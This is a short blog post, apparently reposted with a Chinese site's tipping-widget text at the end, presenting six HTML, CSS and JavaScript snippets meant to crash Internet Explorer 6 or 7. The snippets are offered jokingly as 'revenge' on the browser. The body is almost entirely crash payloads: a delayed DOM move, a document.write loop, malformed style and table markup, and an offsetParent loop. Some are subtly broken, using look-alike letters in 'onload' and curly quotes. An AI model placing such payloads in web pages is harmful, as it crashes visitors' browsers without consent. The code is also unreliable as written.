6 html and javascript codes to crash IE6

Who doesn’t hate IE6? Sadly, developers have to deal with that obsolete browser due to the still important amount of people using it.
Here is a small non-exhaustive list of html and Javascript codes that will totally crash IE.
After all, this browser is such a pain for developers, that we have the right to avenge us from time to time;)

Let’s start with the longest of all:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow: hidden;
      scrollbar-base-color: #330066;
      } 

      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }
    </style>

    <script type="text/javascript">
    function galgenfrist() {
        window.setTimeout('crashIE();',1000);
    }

    function crashIE() {
        var moveNode = document.getElementById("move");
        if(moveNode) {
            moveNode.style.top = "100px";
            moveNode.style.left = "200px";
        }
    }
    </script>
</head> 

<body οnlοad="galgenfrist();">

    <h1>CRASH-IE</h1>
    <div id="move" class="crash">
    <table>
        <tbody>
        <tr>
        <td>
              <textarea></textarea>
        </td>
        </tr>
        </tbody>
    </table>
    </div> 

</body> 

</html>

Javascript and IE6, a true love story…

<script>for (x in document.write) { document.write(x);}</script>

This one was discover last year:

<style>*{position:relative}</style><table><input></table>

Anti-IE Javascript strikes back!

<body onLoad=”window()”>

Now my favorite: 11 symbols and…bang :D

<STYLE>@;/*

This one is the only one I know which make IE7 crash:

function getX( oElement ) {
    var iReturnValue = 0;
    while( oElement != null ) {
        iReturnValue += oElement.offsetLeft;
        oElement = oElement.offsetParent;
    }
    return iReturnValue;
}

Have some nice crashs ;)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值